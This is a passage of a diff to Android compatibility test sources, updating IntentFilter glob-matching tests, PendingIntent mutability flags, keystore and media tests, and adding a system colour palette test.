+ MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:2ssp"),
+ MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:something.file"),
+ MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
+ MatchCondition.data(NO_MATCH_DATA, "scheme:ssp12"));
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", "ssp.*",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", "ssp.*",
+ PATTERN_SIMPLE_GLOB)},
+ MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
+ MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ss"));
- filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{".*"},
- new int[]{PATTERN_SIMPLE_GLOB});
- checkMatches(filter,
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", ".*",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", ".*",
+ PATTERN_SIMPLE_GLOB)},
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:"));
- filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{"a1*b"},
- new int[]{PATTERN_SIMPLE_GLOB});
- checkMatches(filter,
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", "a1*b",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", "a1*b",
+ PATTERN_SIMPLE_GLOB)},
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a1b"),
@@ -423,10 +438,11 @@
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1bc"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a"));
- filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{"a1*"},
- new int[]{PATTERN_SIMPLE_GLOB});
- checkMatches(filter,
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", "a1*",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", "a1*",
+ PATTERN_SIMPLE_GLOB)},
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a1"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
@@ -434,10 +450,11 @@
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1b"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a11"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2"));
- filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{"a\\.*b"},
- new int[]{PATTERN_SIMPLE_GLOB});
- checkMatches(filter,
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", "a\\.*b",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", "a\\.*b",
+ PATTERN_SIMPLE_GLOB)},
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -445,10 +462,11 @@
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
- filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{"a.*b"},
- new int[]{PATTERN_SIMPLE_GLOB});
- checkMatches(filter,
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", "a[.1-2]*b",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", "a.*b",
+ PATTERN_SIMPLE_GLOB)},
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -456,10 +474,11 @@
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a2b"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
- filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{"a.*"},
- new int[]{PATTERN_SIMPLE_GLOB});
- checkMatches(filter,
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", "a.*",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", "a.*",
+ PATTERN_SIMPLE_GLOB)},
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -467,10 +486,11 @@
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a2b"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.bc"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
- filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{"a.\\*b"},
- new int[]{PATTERN_SIMPLE_GLOB});
- checkMatches(filter,
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*b",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*b",
+ PATTERN_SIMPLE_GLOB)},
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.*b"),
@@ -478,10 +498,11 @@
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
- filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{"a.\\*"},
- new int[]{PATTERN_SIMPLE_GLOB});
- checkMatches(filter,
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*",
+ PATTERN_SIMPLE_GLOB)},
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.*"),
@@ -489,6 +510,12 @@
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1b"));
}
+ private Match filterForSchemeAndSchemeSpecificPart(String scheme, String ssp, int matchType) {
+ return new Match(null, null, null, new String[]{scheme},
+ null, null, null, null, new String[]{ssp},
+ new int[]{matchType});
+ }
+
public void testSchemeSpecificPartsWithWildCards() throws Exception {
IntentFilter filter = new Match(null, null, null, new String[]{"scheme"},
null, null, null, null, new String[]{"ssp1"},
@@ -1111,6 +1138,25 @@
}
mIntentFilter = new IntentFilter();
+ for (i = 0; i < 10; i++) {
+ mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_SUFFIX);
+ }
+ assertEquals(10, mIntentFilter.countDataPaths());
+ iter = mIntentFilter.pathsIterator();
+ i = 0;
+ while (iter.hasNext()) {
+ actual = iter.next();
+ assertEquals(DATA_PATH + i, actual.getPath());
+ assertEquals(PatternMatcher.PATTERN_SUFFIX, actual.getType());
+ PatternMatcher p = new PatternMatcher(DATA_PATH + i, PatternMatcher.PATTERN_SUFFIX);
+ assertEquals(p.getPath(), mIntentFilter.getDataPath(i).getPath());
+ assertEquals(p.getType(), mIntentFilter.getDataPath(i).getType());
+ assertTrue(mIntentFilter.hasDataPath(DATA_PATH + i));
+ assertTrue(mIntentFilter.hasDataPath("a" + DATA_PATH + i));
+ i++;
+ }
+
+ mIntentFilter = new IntentFilter();
i = 0;
for (i = 0; i < 10; i++) {
mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_LITERAL);
@@ -1150,6 +1196,26 @@
i++;
}
+ mIntentFilter = new IntentFilter();
+ for (i = 0; i < 10; i++) {
+ mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_ADVANCED_GLOB);
+ }
+ assertEquals(10, mIntentFilter.countDataPaths());
+ iter = mIntentFilter.pathsIterator();
+ i = 0;
+ while (iter.hasNext()) {
+ actual = iter.next();
+ assertEquals(DATA_PATH + i, actual.getPath());
+ assertEquals(PatternMatcher.PATTERN_ADVANCED_GLOB, actual.getType());
+ PatternMatcher p = new PatternMatcher(DATA_PATH + i,
+ PatternMatcher.PATTERN_ADVANCED_GLOB);
+ assertEquals(p.getPath(), mIntentFilter.getDataPath(i).getPath());
+ assertEquals(p.getType(), mIntentFilter.getDataPath(i).getType());
+ assertTrue(mIntentFilter.hasDataPath(DATA_PATH + i));
+ assertFalse(mIntentFilter.hasDataPath(DATA_PATH + i + 10));
+ i++;
+ }
+
IntentFilter filter = new Match(null, null, null, new String[]{"scheme1"},
new String[]{"authority1"}, new String[]{null});
checkMatches(filter,
@@ -1448,6 +1514,12 @@
}
}
+ private static void checkMatches(IntentFilter[] filters, MatchCondition... results) {
+ for (IntentFilter filter : filters) {
+ checkMatches(filter, results);
+ }
+ }
+
private static void checkMatches(IntentFilter filter, MatchCondition... results) {
for (int i = 0; i < results.length; i++) {
MatchCondition mc = results[i];
@@ -1522,6 +1594,24 @@
MatchCondition.data(
IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/literal12"));
filter = new Match(null, null, null,
+ new String[]{"scheme"}, new String[]{"authority"}, null,
+ new String[]{"literal1", "2literal"}, new int[]{PATTERN_SUFFIX, PATTERN_SUFFIX});
+ checkMatches(filter,
+ MatchCondition.data(
+ IntentFilter.NO_MATCH_DATA, null),
+ MatchCondition.data(
+ IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/aliteral1"),
+ MatchCondition.data(
+ IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/2literal"),
+ MatchCondition.data(
+ IntentFilter.NO_MATCH_DATA, "scheme://authority/literal"),
+ MatchCondition.data(
+ IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/literal1"),
+ MatchCondition.data(
+ IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/2literal1"),
+ MatchCondition.data(
+ IntentFilter.NO_MATCH_DATA, "scheme://authority/literal1a"));
+ filter = new Match(null, null, null,
new String[]{"scheme"}, new String[]{"authority"}, null, new String[]{"/.*"},
new int[]{PATTERN_SIMPLE_GLOB});
checkMatches(filter,
diff --git a/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java b/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
index 9635216..b434c21 100644
--- a/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
@@ -226,7 +226,7 @@
SystemUtil.runWithShellPermissionIdentity(() ->
mUsageStatsManager.registerAppUsageLimitObserver(
observerId, SETTINGS_PACKAGE_GROUP, timeLimit, timeUsed,
- PendingIntent.getActivity(mContext, -1, new Intent(), 0)));
+ PendingIntent.getActivity(mContext, -1, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED)));
}
private void unregisterObserver(int observerId) {
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index b3e0fff..410054f 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -213,8 +213,7 @@
String commandResult = executeShellCommand("pm " + mInstall + " -t -g -S " + file.length(),
new File[]{});
if (mIncremental) {
- assertEquals("Failure [INSTALL_FAILED_MEDIA_UNAVAILABLE: Failed to prepare image.]\n",
- commandResult);
+ assertTrue(commandResult, commandResult.startsWith("Failure ["));
} else {
assertTrue(commandResult,
commandResult.startsWith("Failure [INSTALL_PARSE_FAILED_NOT_APK"));
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
index 4e08ba0..62fadd8 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
@@ -75,6 +75,33 @@
{ 0xff000000, android.R.color.widget_edittext_dark },
};
+ int systemColors[] = {
+ android.R.color.system_main_0,
+ android.R.color.system_main_50,
+ android.R.color.system_main_100,
+ android.R.color.system_main_200,
+ android.R.color.system_main_300,
+ android.R.color.system_main_400,
+ android.R.color.system_main_500,
+ android.R.color.system_main_600,
+ android.R.color.system_main_700,
+ android.R.color.system_main_800,
+ android.R.color.system_main_900,
+ android.R.color.system_main_1000,
+ android.R.color.system_accent_0,
+ android.R.color.system_accent_50,
+ android.R.color.system_accent_100,
+ android.R.color.system_accent_200,
+ android.R.color.system_accent_300,
+ android.R.color.system_accent_400,
+ android.R.color.system_accent_500,
+ android.R.color.system_accent_600,
+ android.R.color.system_accent_700,
+ android.R.color.system_accent_800,
+ android.R.color.system_accent_900,
+ android.R.color.system_accent_1000,
+ };
+
List<Integer> expectedColorStateLists = Arrays.asList(
android.R.color.primary_text_dark,
android.R.color.primary_text_dark_nodisable,
@@ -124,7 +151,7 @@
}
// System-API colors are used to allow updateable platform components to use the same colors
- // as the system. The actualy value of the color does not matter. Hence only enforce that
+ // as the system. The actual value of the color does not matter. Hence only enforce that
// 'colors' contains all the public colors and ignore System-api colors.
int numPublicApiColors = 0;
for (Field declaredColor : android.R.color.class.getDeclaredFields()) {
@@ -137,7 +164,7 @@
}
assertEquals("Test no longer in sync with colors in android.R.color",
- colors.length, numPublicApiColors);
+ colors.length + systemColors.length, numPublicApiColors);
}
@Test
diff --git a/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java b/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
new file mode 100644
index 0000000..bb3ca0a
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.R;
+import android.content.Context;
+import android.graphics.Color;
+
+import androidx.annotation.ColorInt;
+import androidx.core.graphics.ColorUtils;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SystemPalette {
+
+ private static final double MAX_CHROMA_DISTANCE = 0.1;
+ private static final String LOG_TAG = SystemPalette.class.getSimpleName();
+
+ @Test
+ public void testShades0and1000() {
+ final Context context = getInstrumentation().getTargetContext();
+ final int system0 = context.getColor(R.color.system_main_0);
+ final int system1000 = context.getColor(R.color.system_main_1000);
+ final int accent0 = context.getColor(R.color.system_accent_0);
+ final int accent1000 = context.getColor(R.color.system_accent_1000);
+ assertColor(system0, Color.WHITE);
+ assertColor(system1000, Color.BLACK);
+ assertColor(accent0, Color.WHITE);
+ assertColor(accent1000, Color.BLACK);
+ }
+
+ @Test
+ public void testAllColorsBelongToSameFamily() {
+ final Context context = getInstrumentation().getTargetContext();
+ final int[] mainColors = getAllMainColors(context);
+ final int[] accentColors = getAllAccentColors(context);
+
+ for (int i = 2; i < mainColors.length - 1; i++) {
+ assertWithMessage("Main color " + Integer.toHexString((mainColors[i - 1]))
+ + " has different chroma compared to " + Integer.toHexString(mainColors[i]))
+ .that(similarChroma(mainColors[i - 1], mainColors[i])).isTrue();
+ assertWithMessage("Accent color " + Integer.toHexString((accentColors[i - 1]))
+ + " has different chroma compared to " + Integer.toHexString(accentColors[i]))
+ .that(similarChroma(accentColors[i - 1], accentColors[i])).isTrue();
+ }
+ }
+
+ /**
+ * Compare if color A and B have similar color, in LAB space.
+ *
+ * @param colorA Color 1
+ * @param colorB Color 2
+ * @return True when colors have similar chroma.
+ */
+ private boolean similarChroma(@ColorInt int colorA, @ColorInt int colorB) {
+ final double[] labColor1 = new double[3];
+ final double[] labColor2 = new double[3];
+
+ ColorUtils.RGBToLAB(Color.red(colorA), Color.green(colorA), Color.blue(colorA), labColor1);
+ ColorUtils.RGBToLAB(Color.red(colorB), Color.green(colorB), Color.blue(colorB), labColor2);
+
+ labColor1[1] = (labColor1[1] + 128.0) / 256;
+ labColor1[2] = (labColor1[2] + 128.0) / 256;
+ labColor2[1] = (labColor2[1] + 128.0) / 256;
+ labColor2[2] = (labColor2[2] + 128.0) / 256;
+
+ return (Math.abs(labColor1[1] - labColor2[1]) < MAX_CHROMA_DISTANCE)
+ && (Math.abs(labColor1[2] - labColor2[2]) < MAX_CHROMA_DISTANCE);
+ }
+
+ @Test
+ public void testColorsMatchExpectedLuminosity() {
+ final Context context = getInstrumentation().getTargetContext();
+ final int[] mainColors = getAllMainColors(context);
+ final int[] accentColors = getAllAccentColors(context);
+
+ final double[] labMain = new double[3];
+ final double[] labAccent = new double[3];
+ final double[] expectedL = {100, 95, 90, 80, 70, 60, 50, 40, 30, 20, 10, 0};
+
+ for (int i = 0; i < mainColors.length; i++) {
+ ColorUtils.RGBToLAB(Color.red(mainColors[i]), Color.green(mainColors[i]),
+ Color.blue(mainColors[i]), labMain);
+ ColorUtils.RGBToLAB(Color.red(accentColors[i]), Color.green(accentColors[i]),
+ Color.blue(accentColors[i]), labAccent);
+
+ // Colors in the same palette should vary mostly in L, decreasing lightness as we move
+ // across the palette.
+ assertWithMessage("Color " + Integer.toHexString((mainColors[i]))
+ + " at index " + i + " should have L " + expectedL[i] + " in LAB space.")
+ .that(labMain[0]).isWithin(5).of(expectedL[i]);
+ assertWithMessage("Color " + Integer.toHexString((accentColors[i]))
+ + " at index " + i + " should have L " + expectedL[i] + " in LAB space.")
+ .that(labAccent[0]).isWithin(5).of(expectedL[i]);
+ }
+ }
+
+ private void assertColor(@ColorInt int observed, @ColorInt int expected) {
+ Assert.assertEquals("Color = " + Integer.toHexString(observed) + ", "
+ + Integer.toHexString(expected) + " expected",
+ observed, expected);
+ }
+
+ private int[] getAllMainColors(Context context) {
+ final int[] colors = new int[12];
+ colors[0] = context.getColor(R.color.system_main_0);
+ colors[1] = context.getColor(R.color.system_main_50);
+ colors[2] = context.getColor(R.color.system_main_100);
+ colors[3] = context.getColor(R.color.system_main_200);
+ colors[4] = context.getColor(R.color.system_main_300);
+ colors[5] = context.getColor(R.color.system_main_400);
+ colors[6] = context.getColor(R.color.system_main_500);
+ colors[7] = context.getColor(R.color.system_main_600);
+ colors[8] = context.getColor(R.color.system_main_700);
+ colors[9] = context.getColor(R.color.system_main_800);
+ colors[10] = context.getColor(R.color.system_main_900);
+ colors[11] = context.getColor(R.color.system_main_1000);
+ return colors;
+ }
+
+ private int[] getAllAccentColors(Context context) {
+ final int[] colors = new int[12];
+ colors[0] = context.getColor(R.color.system_accent_0);
+ colors[1] = context.getColor(R.color.system_accent_50);
+ colors[2] = context.getColor(R.color.system_accent_100);
+ colors[3] = context.getColor(R.color.system_accent_200);
+ colors[4] = context.getColor(R.color.system_accent_300);
+ colors[5] = context.getColor(R.color.system_accent_400);
+ colors[6] = context.getColor(R.color.system_accent_500);
+ colors[7] = context.getColor(R.color.system_accent_600);
+ colors[8] = context.getColor(R.color.system_accent_700);
+ colors[9] = context.getColor(R.color.system_accent_800);
+ colors[10] = context.getColor(R.color.system_accent_900);
+ colors[11] = context.getColor(R.color.system_accent_1000);
+ return colors;
+ }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
index e3fbad5..6d2ad66 100644
--- a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
@@ -437,6 +437,7 @@
*/
public void testEncryptsAndDecryptsInterrupted()
throws Exception {
+
Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
assertNotNull(provider);
final byte[] originalPlaintext = EmptyArray.BYTE;
@@ -546,8 +547,6 @@
KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT,
false, isUnlockedDeviceRequired, isUserAuthRequired)) {
try {
- // Encrypt the data with the device locked
- dl.performDeviceLock();
Key encryptionKey = key.getKeystoreBackedEncryptionKey();
byte[] plaintext = truncatePlaintextIfNecessary(
algorithm, encryptionKey, originalPlaintext);
@@ -569,8 +568,9 @@
expectedPlaintext, modulusLengthBytes);
}
- // Then attempt to decrypt the data with the device still locked
- // This should fail.
+ dl.performDeviceLock();
+
+ // Attempt to decrypt the data with the device locked.
cipher = Cipher.getInstance(algorithm, provider);
assertFalse(isDecryptValid(expectedPlaintext, ciphertext, cipher, params, key));
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 66bd862..bad98b2 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -125,6 +125,7 @@
private static final Pattern OS_PATCH_LEVEL_STRING_PATTERN = Pattern
.compile("([0-9]{4})-([0-9]{2})-[0-9]{2}");
+ private static final int KM_ERROR_CANNOT_ATTEST_IDS = -66;
private static final int KM_ERROR_INVALID_INPUT_LENGTH = -21;
private static final int KM_ERROR_PERMISSION_DENIED = 6;
@@ -181,6 +182,14 @@
curves[curveIndex], keySizes[curveIndex],
purposes[purposeIndex], devicePropertiesAttestation);
} catch (Throwable e) {
+ if (devicePropertiesAttestation
+ && (e.getCause() instanceof KeyStoreException)
+ && KM_ERROR_CANNOT_ATTEST_IDS ==
+ ((KeyStoreException) e.getCause()).getErrorCode()) {
+ Log.i(TAG, "key attestation with device IDs not supported; "
+ + "test skipped");
+ continue;
+ }
throw new Exception("Failed on curve " + curveIndex +
" challenge " + challengeIndex + " purpose " +
purposeIndex + " includeValidityDates " +
@@ -503,6 +512,12 @@
testRsaAttestation(challenge, false /* includeValidityDates */, keySize, purpose,
paddings, devicePropertiesAttestation);
} catch (Throwable e) {
+ if (devicePropertiesAttestation && (e.getCause() instanceof KeyStoreException)
+ && KM_ERROR_CANNOT_ATTEST_IDS ==
+ ((KeyStoreException) e.getCause()).getErrorCode()) {
+ Log.i(TAG, "key attestation with device IDs not supported; test skipped");
+ continue;
+ }
throw new Exception("Failed on key size " + keySize + " challenge [" +
new String(challenge) + "], purposes " +
buildPurposeSet(purpose) + " paddings " +
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
index b67ec58..472763c 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
@@ -284,7 +284,6 @@
AudioAttributes.USAGE_ASSISTANCE_SONIFICATION,
AudioAttributes.USAGE_ASSISTANT,
AudioAttributes.USAGE_NOTIFICATION,
- AudioAttributes.USAGE_VOICE_COMMUNICATION
};
@Presubmit
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index eab4b09..0fc6a5f 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
@@ -595,12 +595,20 @@
}
}
- public void testTransportControlsPlayAndPrepareFromSearchWithNullDoesNotCrash() {
+ public void testTransportControlsPlayAndPrepareFromSearchWithNullDoesNotCrash()
+ throws Exception {
MediaController.TransportControls transportControls = mController.getTransportControls();
- // These calls should not crash. Null is accepted on purpose.
- transportControls.playFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
- transportControls.prepareFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+ synchronized (mWaitLock) {
+ // These calls should not crash. Null query is accepted on purpose.
+ transportControls.playFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+ mWaitLock.wait(TIME_OUT_MS);
+ assertTrue(mCallback.mOnPlayFromSearchCalled);
+
+ transportControls.prepareFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+ mWaitLock.wait(TIME_OUT_MS);
+ assertTrue(mCallback.mOnPrepareFromSearchCalled);
+ }
}
public void testSendCustomActionWithIllegalArgumentsThrowsIAE() {
diff --git a/tests/tests/media/src/android/media/cts/MediaRouterTest.java b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
index 3d51d57..5d9908f 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouterTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
@@ -222,7 +222,7 @@
Intent intent = new Intent(Intent.ACTION_MEDIA_BUTTON);
PendingIntent mediaButtonIntent = PendingIntent.getBroadcast(
- mContext, 0, intent, PendingIntent.FLAG_ONE_SHOT);
+ mContext, 0, intent, PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
RemoteControlClient rcc = new RemoteControlClient(mediaButtonIntent);
userRoute.setRemoteControlClient(rcc);
assertEquals(rcc, userRoute.getRemoteControlClient());
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
index af48114..6ee8bd4 100644
--- a/tests/tests/media/src/android/media/cts/MediaSession2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
@@ -140,7 +140,7 @@
public void testBuilder_setSessionActivity() {
Intent intent = new Intent(Intent.ACTION_MAIN);
PendingIntent pendingIntent = PendingIntent.getActivity(
- mContext, 0 /* requestCode */, intent, 0 /* flags */);
+ mContext, 0 /* requestCode */, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED /* flags */);
try (MediaSession2 session = new MediaSession2.Builder(mContext)
.setSessionActivity(pendingIntent)
.build()) {
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index 55f0558..a8f8d5e 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -278,7 +278,7 @@
// test setSessionActivity
Intent intent = new Intent("cts.MEDIA_SESSION_ACTION");
- PendingIntent pi = PendingIntent.getActivity(getContext(), 555, intent, 0);
+ PendingIntent pi = PendingIntent.getActivity(getContext(), 555, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
mSession.setSessionActivity(pi);
assertEquals(pi, controller.getSessionActivity());
@@ -313,7 +313,7 @@
public void testSetMediaButtonReceiver_broadcastReceiver() throws Exception {
Intent intent = new Intent(mContext.getApplicationContext(),
MediaButtonBroadcastReceiver.class);
- PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+ PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
// Play a sound so this session can get the priority.
Utils.assertMediaPlaybackStarted(getContext());
@@ -357,7 +357,7 @@
public void testSetMediaButtonReceiver_service() throws Exception {
Intent intent = new Intent(mContext.getApplicationContext(),
MediaButtonReceiverService.class);
- PendingIntent pi = PendingIntent.getService(mContext, 0, intent, 0);
+ PendingIntent pi = PendingIntent.getService(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
// Play a sound so this session can get the priority.
Utils.assertMediaPlaybackStarted(getContext());
@@ -402,7 +402,7 @@
